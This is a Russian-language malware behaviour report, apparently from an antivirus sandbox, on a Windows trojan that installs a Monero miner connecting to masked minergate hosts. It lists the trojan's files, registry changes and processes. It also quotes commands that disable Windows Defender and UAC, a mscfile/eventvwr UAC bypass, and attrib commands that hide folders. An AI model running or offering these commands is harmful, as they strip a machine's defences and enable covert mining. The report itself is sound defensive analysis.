Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Classes\mscfile\shell\open\command] '' = ''
- [<HKCU>\Software\Classes\mscfile\shell\open\command] '' = '%TEMP%\Temp\Temp.bat'
- [<HKCU>\Software\Classes\mscfile\shell\open\command] '' = '%TEMP%\Win_Updater\Win_Updater.bat'
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Системный антивирус (Защитник Windows)
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\cmd.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\rarsfx0\runit.bat
- %TEMP%\rarsfx3\vcruntime140.dll
- %TEMP%\rarsfx3\opencl.dll
- %TEMP%\rarsfx3\nvrtc64_92.dll
- %TEMP%\rarsfx3\nvrtc-builtins64_92.dll
- %TEMP%\rarsfx3\msvcp140.dll
- %TEMP%\rarsfx3\googleupdates.exe
- %TEMP%\rarsfx3\start.bat
- %TEMP%\rarsfx3\hidden_dir.bat
- %APPDATA%\googlesfx\googlesfx.exe
- %TEMP%\win_updater\win_updater.bat
- %TEMP%\temp\temp.bat
- %APPDATA%\unlisted\temp_updater.vbs
- %APPDATA%\unlisted\temp_updater.bat
- %TEMP%\rarsfx3\unlisted.vbs
- %TEMP%\rarsfx3\unlisted.bat
- %TEMP%\rarsfx2\xinstaller.vbs
- %TEMP%\rarsfx2\googlesfx.exe
- %TEMP%\rarsfx2\startupreg-h.bat
- %TEMP%\rarsfx1\run_program.vbs
- %TEMP%\rarsfx1\winexplorer.exe
- %TEMP%\rarsfx1\updatechecker.exe
- %TEMP%\rarsfx1\run_program.bat
- %TEMP%\rarsfx0\runit.vbs
- %TEMP%\rarsfx0\win_sfx_update.exe
- %TEMP%\rarsfx0\google_update_sfx.exe
- %TEMP%\rarsfx3\hidden_dir.vbs
- %TEMP%\rarsfx3\start.vbs
Удаляет следующие файлы
- %TEMP%\rarsfx0\google_update_sfx.exe
- %TEMP%\rarsfx1\run_program.bat
- %TEMP%\rarsfx1\run_program.vbs
- %TEMP%\rarsfx1\updatechecker.exe
- %TEMP%\temp\temp.bat
- %TEMP%\win_updater\win_updater.bat
- %TEMP%\rarsfx3\unlisted.bat
- %TEMP%\rarsfx3\unlisted.vbs
- %TEMP%\rarsfx0\runit.bat
- %TEMP%\rarsfx0\runit.vbs
- %TEMP%\rarsfx0\win_sfx_update.exe
- %TEMP%\rarsfx1\winexplorer.exe
- %TEMP%\rarsfx2\googlesfx.exe
- %TEMP%\rarsfx2\startupreg-h.bat
- %TEMP%\rarsfx2\xinstaller.vbs
Перемещает следующие файлы
- %TEMP%\rarsfx3\googleupdates.exe в %APPDATA%\googleupdates\googleupdates.exe
- %TEMP%\rarsfx3\hidden_dir.vbs в %APPDATA%\googleupdates\hidden_dir.vbs
- %TEMP%\rarsfx3\msvcp140.dll в %APPDATA%\googleupdates\msvcp140.dll
- %TEMP%\rarsfx3\nvrtc-builtins64_92.dll в %APPDATA%\googleupdates\nvrtc-builtins64_92.dll
- %TEMP%\rarsfx3\nvrtc64_92.dll в %APPDATA%\googleupdates\nvrtc64_92.dll
- %TEMP%\rarsfx3\opencl.dll в %APPDATA%\googleupdates\opencl.dll
- %TEMP%\rarsfx3\start.bat в %APPDATA%\googleupdates\start.bat
- %TEMP%\rarsfx3\start.vbs в %APPDATA%\googleupdates\start.vbs
- %TEMP%\rarsfx3\vcruntime140.dll в %APPDATA%\googleupdates\vcruntime140.dll
Подменяет следующие файлы
- %TEMP%\temp\temp.bat
- %TEMP%\win_updater\win_updater.bat
Сетевая активность
Подключается к
- 'mi###gate.com':443
- 'xm#.###l.minergate.com':45700
TCP
- 'mi###gate.com':443
UDP
- DNS ASK mi###gate.com
- DNS ASK xm#.###l.minergate.com
- DNS ASK re##.#inergate.com
Другое
Ищет следующие окна
- ClassName: 'EDIT' WindowName: ''
Создает и запускает на исполнение
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\RarSFX0\RunIt.vbs"
- '%TEMP%\rarsfx1\winexplorer.exe'
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\GoogleUpdates\start.vbs"
- '%APPDATA%\googlesfx\googlesfx.exe'
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\Unlisted\Temp_Updater.vbs"
- '%APPDATA%\googleupdates\googleupdates.exe' --user 80vdr8c3dpnpjx5 --xmr 1
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\RarSFX3\Hidden_Dir.vbs"
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\RarSFX3\Unlisted.vbs"
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\RarSFX2\xInstaller.vbs"
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\RarSFX1\run_program.vbs"
- '%TEMP%\rarsfx0\win_sfx_update.exe'
- '%TEMP%\rarsfx1\updatechecker.exe'
- '%TEMP%\rarsfx0\google_update_sfx.exe'
- '%WINDIR%\syswow64\cmd.exe' /c RunIt.bat' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c start.bat' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c run_program.bat' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c StartupReg-H.bat' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c Unlisted.bat' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c Temp_Updater.bat' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\Win_Updater\Win_Updater.bat" "' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c Hidden_Dir.bat' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "systeminfo "' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c RunIt.bat
- '%WINDIR%\syswow64\cmd.exe' /c start.bat
- '%WINDIR%\syswow64\attrib.exe' +h "%APPDATA%\GoogleUpdates"
- '%WINDIR%\syswow64\cmd.exe' /c Hidden_Dir.bat
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
- '%WINDIR%\syswow64\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\timeout.exe' 15
- '%WINDIR%\syswow64\timeout.exe' 10
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\Win_Updater\Win_Updater.bat" "
- '%WINDIR%\syswow64\reg.exe' ADD "HKCU\Software\Classes\mscfile\shell\open\command" /ve /d "%TEMP%\Win_Updater\Win_Updater.bat" /f
- '%WINDIR%\syswow64\timeout.exe' 1
- '%WINDIR%\syswow64\eventvwr.exe'
- '%WINDIR%\syswow64\attrib.exe' +h "%APPDATA%\Unlisted"
- '%WINDIR%\syswow64\reg.exe' ADD "HKCU\Software\Classes\mscfile\shell\open\command" /ve /d "%TEMP%\Temp\Temp.bat" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKCU\Software\Classes\mscfile\shell\open\command" /f
- '%WINDIR%\syswow64\cmd.exe' /c Temp_Updater.bat
- '%WINDIR%\syswow64\cmd.exe' /c Unlisted.bat
- '%WINDIR%\syswow64\attrib.exe' +h "%APPDATA%\GoogleSFX"
- '%WINDIR%\syswow64\attrib.exe' +h "%TEMP%\Temp"
- '%WINDIR%\syswow64\cmd.exe' /c StartupReg-H.bat
- '%WINDIR%\syswow64\cmd.exe' /c run_program.bat
- '<SYSTEM32>\cmd.exe' /c "systeminfo "
- '<SYSTEM32>\systeminfo.exe'
